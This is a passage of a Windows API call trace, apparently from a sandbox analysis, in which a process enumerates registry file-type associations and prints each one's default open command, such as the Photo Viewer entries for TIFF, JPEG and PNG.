lpName="PhotoViewer.FileAssoc.Tiff") returned 0x0 [0101.260] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PhotoViewer.FileAssoc.Tiff\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.260] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0xe4) returned 0x0 [0101.260] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c9380, lpcbData=0x2eef20*=0xe4 | out: lpType=0x2eef28*=0x2, lpData="%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1", lpcbData=0x2eef20*=0xe4) returned 0x0 [0101.260] RegCloseKey (hKey=0x64) returned 0x0 [0101.260] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PhotoViewer.FileAssoc.Tiff=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n") returned 142 [0101.260] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.260] GetFileType (hFile=0x5c) returned 0x3 [0101.260] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.260] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PhotoViewer.FileAssoc.Tiff=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.FileAssoc.Tiff=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 143 [0101.260] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x8e, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x8e, lpOverlapped=0x0) returned 1 [0101.260] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb35, lpName=0x2eef50, cchName=0x104 | out: lpName="PhotoViewer.FileAssoc.Wdp") returned 0x0 [0101.260] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PhotoViewer.FileAssoc.Wdp\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.261] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0xe4) returned 0x0 [0101.261] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c9380, lpcbData=0x2eef20*=0xe4 | out: lpType=0x2eef28*=0x2, lpData="%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1", lpcbData=0x2eef20*=0xe4) returned 0x0 [0101.261] RegCloseKey (hKey=0x64) returned 0x0 [0101.261] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PhotoViewer.FileAssoc.Wdp=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n") returned 141 [0101.261] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.261] GetFileType (hFile=0x5c) returned 0x3 [0101.261] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.261] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PhotoViewer.FileAssoc.Wdp=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.FileAssoc.Wdp=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 142 [0101.261] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x8d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x8d, lpOverlapped=0x0) returned 1 [0101.261] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb36, lpName=0x2eef50, cchName=0x104 | out: lpName="piffile") returned 0x0 [0101.261] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="piffile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.261] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x10) returned 0x0 [0101.261] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c4770, lpcbData=0x2eef20*=0x10 | out: lpType=0x2eef28*=0x1, lpData="\"%1\" %*", lpcbData=0x2eef20*=0x10) returned 0x0 [0101.262] RegCloseKey (hKey=0x64) returned 0x0 [0101.262] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="piffile=\"%1\" %*\r\n") returned 17 [0101.262] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.262] GetFileType (hFile=0x5c) returned 0x3 [0101.262] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.262] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="piffile=\"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="piffile=\"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 18 [0101.262] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x11, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x11, lpOverlapped=0x0) returned 1 [0101.262] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb37, lpName=0x2eef50, cchName=0x104 | out: lpName="pjpegfile") returned 0x0 [0101.262] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="pjpegfile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.262] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0xe4) returned 0x0 [0101.262] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c9380, lpcbData=0x2eef20*=0xe4 | out: lpType=0x2eef28*=0x2, lpData="%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1", lpcbData=0x2eef20*=0xe4) returned 0x0 [0101.262] RegCloseKey (hKey=0x64) returned 0x0 [0101.262] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="pjpegfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n") returned 125 [0101.262] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.262] GetFileType (hFile=0x5c) returned 0x3 [0101.263] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="pjpegfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pjpegfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", lpUsedDefaultChar=0x0) returned 126 [0101.263] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x7d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x7d, lpOverlapped=0x0) returned 1 [0101.263] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb38, lpName=0x2eef50, cchName=0x104 | out: lpName="PKOFile") returned 0x0 [0101.263] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PKOFile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.263] SetLastError (dwErrCode=0x2) [0101.263] RegCloseKey (hKey=0x0) returned 0x6 [0101.263] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb39, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.BootTraceSession") returned 0x0 [0101.263] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.BootTraceSession\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.263] SetLastError (dwErrCode=0x2) [0101.263] RegCloseKey (hKey=0x0) returned 0x6 [0101.263] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb3a, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.BootTraceSession.1") returned 0x0 [0101.263] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.BootTraceSession.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.263] SetLastError (dwErrCode=0x2) [0101.263] RegCloseKey (hKey=0x0) returned 0x6 [0101.263] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb3b, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.BootTraceSessionCollection") returned 0x0 [0101.263] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.BootTraceSessionCollection\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.264] SetLastError (dwErrCode=0x2) [0101.264] RegCloseKey (hKey=0x0) returned 0x6 [0101.264] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb3c, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.BootTraceSessionCollection.1") returned 0x0 [0101.264] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.BootTraceSessionCollection.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.264] SetLastError (dwErrCode=0x2) [0101.274] RegCloseKey (hKey=0x0) returned 0x6 [0101.274] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb3d, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.DataCollectorSet") returned 0x0 [0101.275] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.DataCollectorSet\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.275] SetLastError (dwErrCode=0x2) [0101.275] RegCloseKey (hKey=0x0) returned 0x6 [0101.275] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb3e, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.DataCollectorSet.1") returned 0x0 [0101.275] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.DataCollectorSet.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.275] SetLastError (dwErrCode=0x2) [0101.275] RegCloseKey (hKey=0x0) returned 0x6 [0101.275] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb3f, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.DataCollectorSetCollection") returned 0x0 [0101.275] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.DataCollectorSetCollection\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.275] SetLastError (dwErrCode=0x2) [0101.275] RegCloseKey (hKey=0x0) returned 0x6 [0101.275] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb40, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.DataCollectorSetCollection.1") returned 0x0 [0101.275] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.DataCollectorSetCollection.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.276] SetLastError (dwErrCode=0x2) [0101.276] RegCloseKey (hKey=0x0) returned 0x6 [0101.276] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb41, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.LegacyDataCollectorSet") returned 0x0 [0101.276] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.LegacyDataCollectorSet\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.276] SetLastError (dwErrCode=0x2) [0101.276] RegCloseKey (hKey=0x0) returned 0x6 [0101.276] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb42, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.LegacyDataCollectorSet.1") returned 0x0 [0101.276] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.LegacyDataCollectorSet.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.276] SetLastError (dwErrCode=0x2) [0101.276] RegCloseKey (hKey=0x0) returned 0x6 [0101.276] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb43, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.LegacyDataCollectorSetCollection") returned 0x0 [0101.276] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.LegacyDataCollectorSetCollection\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.276] SetLastError (dwErrCode=0x2) [0101.276] RegCloseKey (hKey=0x0) returned 0x6 [0101.276] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb44, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.LegacyDataCollectorSetCollection.1") returned 0x0 [0101.276] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.LegacyDataCollectorSetCollection.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.276] SetLastError (dwErrCode=0x2) [0101.276] RegCloseKey (hKey=0x0) returned 0x6 [0101.276] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb45, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.LegacyTraceSession") returned 0x0 [0101.276] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.LegacyTraceSession\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.276] SetLastError (dwErrCode=0x2) [0101.277] RegCloseKey (hKey=0x0) returned 0x6 [0101.277] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb46, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.LegacyTraceSession.1") returned 0x0 [0101.277] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.LegacyTraceSession.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.277] SetLastError (dwErrCode=0x2) [0101.277] RegCloseKey (hKey=0x0) returned 0x6 [0101.277] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb47, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.LegacyTraceSessionCollection") returned 0x0 [0101.277] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.LegacyTraceSessionCollection\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.277] SetLastError (dwErrCode=0x2) [0101.277] RegCloseKey (hKey=0x0) returned 0x6 [0101.277] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb48, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.LegacyTraceSessionCollection.1") returned 0x0 [0101.277] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.LegacyTraceSessionCollection.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.277] SetLastError (dwErrCode=0x2) [0101.277] RegCloseKey (hKey=0x0) returned 0x6 [0101.277] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb49, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.ServerDataCollectorSet") returned 0x0 [0101.277] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.ServerDataCollectorSet\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.277] SetLastError (dwErrCode=0x2) [0101.277] RegCloseKey (hKey=0x0) returned 0x6 [0101.277] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb4a, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.ServerDataCollectorSet.1") returned 0x0 [0101.277] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.ServerDataCollectorSet.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.277] SetLastError (dwErrCode=0x2) [0101.277] RegCloseKey (hKey=0x0) returned 0x6 [0101.277] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb4b, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.ServerDataCollectorSetCollection") returned 0x0 [0101.278] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.ServerDataCollectorSetCollection\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.278] SetLastError (dwErrCode=0x2) [0101.278] RegCloseKey (hKey=0x0) returned 0x6 [0101.278] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb4c, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.ServerDataCollectorSetCollection.1") returned 0x0 [0101.278] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.ServerDataCollectorSetCollection.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.278] SetLastError (dwErrCode=0x2) [0101.278] RegCloseKey (hKey=0x0) returned 0x6 [0101.278] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb4d, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.SystemDataCollectorSet") returned 0x0 [0101.278] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.SystemDataCollectorSet\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.278] SetLastError (dwErrCode=0x2) [0101.278] RegCloseKey (hKey=0x0) returned 0x6 [0101.278] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb4e, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.SystemDataCollectorSet.1") returned 0x0 [0101.278] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.SystemDataCollectorSet.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.278] SetLastError (dwErrCode=0x2) [0101.278] RegCloseKey (hKey=0x0) returned 0x6 [0101.278] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb4f, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.SystemDataCollectorSetCollection") returned 0x0 [0101.278] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.SystemDataCollectorSetCollection\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.278] SetLastError (dwErrCode=0x2) [0101.278] RegCloseKey (hKey=0x0) returned 0x6 [0101.278] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb50, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.SystemDataCollectorSetCollection.1") returned 0x0 [0101.278] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.SystemDataCollectorSetCollection.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.278] SetLastError (dwErrCode=0x2) [0101.279] RegCloseKey (hKey=0x0) returned 0x6 [0101.279] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb51, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.TraceDataProvider") returned 0x0 [0101.279] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.TraceDataProvider\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.279] SetLastError (dwErrCode=0x2) [0101.279] RegCloseKey (hKey=0x0) returned 0x6 [0101.279] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb52, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.TraceDataProvider.1") returned 0x0 [0101.279] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.TraceDataProvider.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.279] SetLastError (dwErrCode=0x2) [0101.279] RegCloseKey (hKey=0x0) returned 0x6 [0101.279] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb53, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.TraceDataProviderCollection") returned 0x0 [0101.280] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.TraceDataProviderCollection\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.280] SetLastError (dwErrCode=0x2) [0101.280] RegCloseKey (hKey=0x0) returned 0x6 [0101.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb54, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.TraceDataProviderCollection.1") returned 0x0 [0101.280] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.TraceDataProviderCollection.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.280] SetLastError (dwErrCode=0x2) [0101.280] RegCloseKey (hKey=0x0) returned 0x6 [0101.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb55, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.TraceSession") returned 0x0 [0101.280] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.TraceSession\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.280] SetLastError (dwErrCode=0x2) [0101.280] RegCloseKey (hKey=0x0) returned 0x6 [0101.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb56, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.TraceSession.1") returned 0x0 [0101.280] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.TraceSession.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.280] SetLastError (dwErrCode=0x2) [0101.280] RegCloseKey (hKey=0x0) returned 0x6 [0101.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb57, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.TraceSessionCollection") returned 0x0 [0101.280] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.TraceSessionCollection\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.280] SetLastError (dwErrCode=0x2) [0101.280] RegCloseKey (hKey=0x0) returned 0x6 [0101.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb58, lpName=0x2eef50, cchName=0x104 | out: lpName="PLA.TraceSessionCollection.1") returned 0x0 [0101.280] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PLA.TraceSessionCollection.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.280] SetLastError (dwErrCode=0x2) [0101.280] RegCloseKey (hKey=0x0) returned 0x6 [0101.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb59, lpName=0x2eef50, cchName=0x104 | out: lpName="pnffile") returned 0x0 [0101.280] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="pnffile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.280] SetLastError (dwErrCode=0x2) [0101.280] RegCloseKey (hKey=0x0) returned 0x6 [0101.280] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb5a, lpName=0x2eef50, cchName=0x104 | out: lpName="pngfile") returned 0x0 [0101.280] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="pngfile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.281] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0xe4) returned 0x0 [0101.281] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c9380, lpcbData=0x2eef20*=0xe4 | out: lpType=0x2eef28*=0x2, lpData="%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1", lpcbData=0x2eef20*=0xe4) returned 0x0 [0101.281] RegCloseKey (hKey=0x64) returned 0x0 [0101.281] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="pngfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n") returned 123 [0101.281] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.281] GetFileType (hFile=0x5c) returned 0x3 [0101.281] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.281] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="pngfile=%SystemRoot%\\System32\\rundll32.exe \"%ProgramFiles%\\Windows Photo Viewer\\PhotoViewer.dll\", ImageView_Fullscreen %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 